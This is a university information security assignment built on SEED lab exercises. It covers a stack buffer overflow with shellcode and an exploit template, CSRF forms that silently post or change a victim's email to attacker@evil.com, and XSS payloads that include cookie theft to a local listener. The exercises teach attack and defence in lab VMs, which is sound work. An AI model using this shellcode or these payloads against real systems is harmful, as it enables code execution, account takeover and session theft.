



## Information Security

### Assignment 3

#### SUBMISSION GUIDELINES:

1. Create a single zip file containing Microsoft Word file containing all required screenshots, source code, and explanations.
2. Name your submission file as: SECTION#\_ROLLNO (example: 22F1234\_A2).
3. Submit the Word file and a ZIP archive containing all source code on GCR before the deadline.
4. This is an individual assignment. Plagiarism is strictly prohibited.

#### Part 1: Buffer Overflow:

#### Question 1

**Objective:** Analyze a provided vulnerable C program (stack.c) that contains a classic stack-based buffer overflow vulnerability. Explain the vulnerability, and draw the stack layout.

#### **Provided Code: stack.c**

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];
    strcpy(buffer, str); // VULNERABLE!
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

**Steps:**

1. Compile and run the vulnerable program as instructed (example: gcc -o stack -fno-stack-protector stack.c).
2. Create and analyze a stack layout diagram showing saved EIP, saved EBP, return address, and buffer offsets.

**Deliverables:**

1. Detailed vulnerability analysis and explanation.
2. Stack layout diagram (drawn and embedded as an image).
3. Full-screen screenshots with time/date for compilation and execution steps.

## Question 2

**Objective:** Build an exploit (badfile) and exploit the vulnerable program to gain a shell. Complete the provided exploit.c template and demonstrate successful exploitation.

**Exploit Code Template: exploit.c**

```
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
    "\x31\xc0" "\x50" "\x68" "//sh" "\x68" "/bin"
    "\x89\xe3" "\x50" "\x53" "\x89\xe1"
    "\x99" "\xb0\x0b" "\xcd\x80";

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517);

    /* Complete this part - fill buffer with exploit */

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

**Steps:**

1. Complete exploit.c to construct badfile (use memset to fill with 0x90, copy shellcode, and overwrite return address).
2. Compile exploit: gcc -o exploit exploit.c
3. Run exploit to create badfile, then run ./stack to trigger and obtain a shell.

**Deliverables:**

1. Completed exploit.c source code (no inline comments requested in code).
2. Video recording of successful exploit demonstration.
3. Full-screen screenshots (time/date) showing creation of badfile, execution of stack, and resulting shell.

### **Question 3**

**Objective:** Evaluate standard protection mechanisms and show how they affect the exploit. The protections to test: /bin/bash linkage, ASLR (address space layout randomization), and Stack Guard/Canary.

**Steps and Tests:**

1. /bin/bash protection: sudo ln -sf /bin/bash /bin/sh ; ./stack — test behavior.
2. Address Randomization: sudo sysctl -w kernel.randomize\_va\_space=2 ; ./stack — test behavior.
3. Stack Guard (canary): gcc -o stack\_protected stack.c ; ./stack\_protected — test behavior.

**Deliverables:**

1. Analysis of each protection: why it succeeds or fails against your exploit.
2. Screenshots demonstrating differences in behavior for each protection test (time/date visible).

## Part 2: Cross-Site Request Forgery (CSRF)

### Question 1

**Objective:** Analyze a vulnerable web application (phpBB) that allows posting new topics using an HTTP GET request, which can be exploited via CSRF. Explain the vulnerability and demonstrate how a malicious webpage can silently create a new post on behalf of a logged-in victim.

**Provided Code (malicious.html):**

```
<html>
<body>
  
</body>
</html>
```

#### Steps:

1. Log in to the vulnerable phpBB forum as any normal user in your browser.
2. Save the provided HTML code as `malicious.html` inside your SEED VM.
3. Open the `malicious.html` file in a browser while still logged into phpBB.
4. Observe that a new topic appears in forum `f=1` without the victim clicking "Post".

#### Deliverables:

- A detailed explanation of how the CSRF vulnerability works (why the forum accepts the request and how the browser sends session cookies automatically).
- Screenshot showing the new topic created on the forum.
- Full-screen screenshots with visible time/date showing:
  - User logged in
  - Opening `malicious.html`
  - The new topic appearing

## Question 2

**Objective:** Craft a CSRF attack using an HTTP POST request to change the victim's account profile information (email field) without their knowledge.

**Exploit Code Template (malicious.html):**

```
<html>
  <body onload="document.csrf.submit()">
    <form name="csrf" action="http://www.csrf1abphpbb.com/profile.php" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com">
      <input type="hidden" name="submit" value="Submit">
    </form>
  </body>
</html>
```

### **Steps:**

1. Log in to phpBB as a normal user in the same browser session.
2. Save the above code as `malicious.html` on the SEED VM.
3. Open `malicious.html` in the browser while still logged in to phpBB.
4. After opening it, check the account profile page and confirm that the email has been changed to `attacker@evil.com`.

### **Deliverables:**

- Detailed explanation of how this CSRF attack uses an auto-submitted POST form.
- Screenshot showing the changed email field in the victim's account.
- Full-screen screenshots with showing:
  - Before the attack (original email)
  - Opening `malicious.html`
  - After the attack (changed email)

## Part 3: XSS

### Question 1

#### **Objective:**

Exploit an XSS vulnerability in the phpBB message board ([www.xsslabphpbb.com](http://www.xsslabphpbb.com)) running on the SEED Lab VM to post a malicious message containing JavaScript that displays an alert window when viewed by users.

#### **Steps:**

1. Start the Apache server in the SEED Lab VM using:

```
bash
sudo apache2ctl start
or
bash
sudo service apache2 start
```

2. Access the phpBB message board at <http://www.xsslabphpbb.com> using Firefox.
3. Log in to the phpBB server using credentials provided on the front page.
4. Post a message containing the JavaScript code `<script>alert('XSS');</script>` in the message body.
5. View the posted message to verify that an alert window displaying "XSS" appears.

#### **Deliverables:**

- Detailed explanation of the XSS vulnerability and how the JavaScript causes an alert window to appear.
- Full-screen screenshots (with visible time/date) showing:
  - The Apache server startup command.
  - The posted message containing the JavaScript code.
  - The alert window displayed when viewing the message.

## **Question 2**

### **Objective:**

Exploit the XSS vulnerability in the phpBB message board to post a malicious message that sends a victim's cookies to an attacker-controlled server running on the SEED Lab VM. Demonstrate the successful capture of cookies.

### **Steps:**

1. Start the Apache server in the SEED Lab VM (as described in Part 1).
2. Run the provided TCP server program to listen on port 5555:

```
bash
./tcp_server 5555
```

3. Log in to the phpBB message board at <http://www.xsslabphpbb.com> using Firefox.
4. Post a message containing the provided JavaScript code to send cookies to 127.0.0.1:5555.
5. View the posted message as another user (using provided credentials) to trigger the script.
6. Verify that the TCP server on port 5555 receives and displays the victim's cookies.

### **Deliverables:**

- Completed JavaScript code used in the malicious message (no inline comments in the code).
- Detailed analysis of the XSS vulnerability, explaining how the <img> tag triggers an HTTP GET request to send cookies to the attacker's server.
- Full-screen screenshots (with visible time/date) showing:
  - The TCP server startup and output displaying received cookies.
  - The posted message containing the malicious JavaScript.
  - The browser view where the script is triggered.